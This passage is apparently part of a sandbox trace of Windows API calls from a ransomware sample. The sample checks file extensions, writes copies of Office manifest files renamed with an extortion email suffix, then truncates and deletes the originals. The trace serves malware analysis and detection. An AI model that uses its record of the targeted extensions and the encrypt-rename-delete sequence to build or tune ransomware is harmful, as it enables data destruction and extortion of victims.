returned 1 [0147.879] lstrlenW (lpString=".rar") returned 4 [0147.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString=".bz2") returned 4 [0147.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString=".7z") returned 3 [0147.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.879] lstrlenW (lpString=".dbf") returned 4 [0147.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.879] lstrlenW (lpString=".1cd") returned 4 [0147.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.879] lstrlenW (lpString=".jpg") returned 4 [0147.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.879] lstrlenW (lpString=".doc") returned 4 [0147.879] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString=".docx") returned 5 [0147.879] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.879] lstrlenW (lpString=".pdf") returned 4 [0147.879] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString=".xls") returned 4 [0147.879] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.879] lstrlenW (lpString=".xlsx") returned 5 [0147.879] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.880] lstrlenW (lpString=".ppt") returned 4 [0147.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.880] lstrlenW (lpString=".zip") returned 4 [0147.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.880] lstrlenW (lpString=".rar") returned 4 [0147.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.880] lstrlenW (lpString=".bz2") returned 4 [0147.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.880] lstrlenW (lpString=".7z") returned 3 [0147.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.880] lstrlenW (lpString=".dbf") returned 4 [0147.880] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.880] lstrlenW (lpString=".1cd") returned 4 [0147.880] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0147.880] lstrlenW (lpString=".jpg") returned 4 [0147.880] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.880] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.881] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0147.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.920] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1261) returned 1 [0147.920] CloseHandle (hObject=0x10d0) returned 1 [0147.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.920] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.920] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.921] GetLastError () returned 0x0 [0147.921] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0147.929] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0147.930] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.930] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.930] SetEndOfFile (hFile=0x1088) returned 1 [0147.930] CloseHandle (hObject=0x1088) returned 1 [0147.934] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.934] SetEndOfFile (hFile=0x10d0) returned 1 [0147.935] CloseHandle (hObject=0x10d0) returned 1 [0147.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.935] lstrlenW (lpString=".doc") returned 4 [0147.935] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.935] lstrlenW (lpString=".docx") returned 5 [0147.936] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.936] lstrlenW (lpString=".pdf") returned 4 [0147.936] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString=".xls") returned 4 [0147.936] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString=".xlsx") returned 5 [0147.936] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.936] lstrlenW (lpString=".ppt") returned 4 [0147.936] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.936] lstrlenW (lpString=".zip") returned 4 [0147.936] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.936] lstrlenW (lpString=".rar") returned 4 [0147.936] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString=".bz2") returned 4 [0147.936] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString=".7z") returned 3 [0147.936] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.936] lstrlenW (lpString=".dbf") returned 4 [0147.936] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.936] lstrlenW (lpString=".1cd") returned 4 [0147.936] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.936] lstrlenW (lpString=".jpg") returned 4 [0147.936] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.936] lstrlenW (lpString=".doc") returned 4 [0147.936] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString=".docx") returned 5 [0147.937] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.937] lstrlenW (lpString=".pdf") returned 4 [0147.937] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString=".xls") returned 4 [0147.937] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString=".xlsx") returned 5 [0147.937] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.937] lstrlenW (lpString=".ppt") returned 4 [0147.937] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.937] lstrlenW (lpString=".zip") returned 4 [0147.937] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.937] lstrlenW (lpString=".rar") returned 4 [0147.937] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString=".bz2") returned 4 [0147.937] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString=".7z") returned 3 [0147.937] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.937] lstrlenW (lpString=".dbf") returned 4 [0147.937] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.937] lstrlenW (lpString=".1cd") returned 4 [0147.937] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0147.937] lstrlenW (lpString=".jpg") returned 4 [0147.937] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.937] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.937] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.938] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1261) returned 1 [0147.938] CloseHandle (hObject=0x10d0) returned 1 [0147.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.938] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.938] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.939] GetLastError () returned 0x0 [0147.939] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0147.973] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0147.974] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.974] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.974] SetEndOfFile (hFile=0x1088) returned 1 [0147.974] CloseHandle (hObject=0x1088) returned 1 [0147.975] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.975] SetEndOfFile (hFile=0x10d0) returned 1 [0147.976] CloseHandle (hObject=0x10d0) returned 1 [0147.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0147.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.977] lstrlenW (lpString=".doc") returned 4 [0147.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString=".docx") returned 5 [0147.977] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.977] lstrlenW (lpString=".pdf") returned 4 [0147.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString=".xls") returned 4 [0147.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString=".xlsx") returned 5 [0147.977] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.977] lstrlenW (lpString=".ppt") returned 4 [0147.977] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.977] lstrlenW (lpString=".zip") returned 4 [0147.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.977] lstrlenW (lpString=".rar") returned 4 [0147.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString=".bz2") returned 4 [0147.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString=".7z") returned 3 [0147.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.977] lstrlenW (lpString=".dbf") returned 4 [0147.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.977] lstrlenW (lpString=".1cd") returned 4 [0147.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.978] lstrlenW (lpString=".jpg") returned 4 [0147.978] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.978] lstrlenW (lpString=".doc") returned 4 [0147.978] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString=".docx") returned 5 [0147.978] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.978] lstrlenW (lpString=".pdf") returned 4 [0147.978] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString=".xls") returned 4 [0147.978] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString=".xlsx") returned 5 [0147.978] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.978] lstrlenW (lpString=".ppt") returned 4 [0147.978] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.978] lstrlenW (lpString=".zip") returned 4 [0147.978] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.978] lstrlenW (lpString=".rar") returned 4 [0147.978] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString=".bz2") returned 4 [0147.978] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString=".7z") returned 3 [0147.978] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.978] lstrlenW (lpString=".dbf") returned 4 [0147.978] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.979] lstrlenW (lpString=".1cd") returned 4 [0147.979] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0147.979] lstrlenW (lpString=".jpg") returned 4 [0147.979] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.979] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.979] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0147.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.979] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1261) returned 1 [0147.979] CloseHandle (hObject=0x10d0) returned 1 [0147.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0147.979] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.980] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0147.980] GetLastError () returned 0x0 [0147.980] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0148.105] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0148.106] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.106] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.106] SetEndOfFile (hFile=0x1088) returned 1 [0148.106] CloseHandle (hObject=0x1088) returned 1 [0148.107] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.107] SetEndOfFile (hFile=0x10d0) returned 1 [0148.108] CloseHandle (hObject=0x10d0) returned 1 [0148.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.108] DeleteFileW (lpFileName="C:\\Program 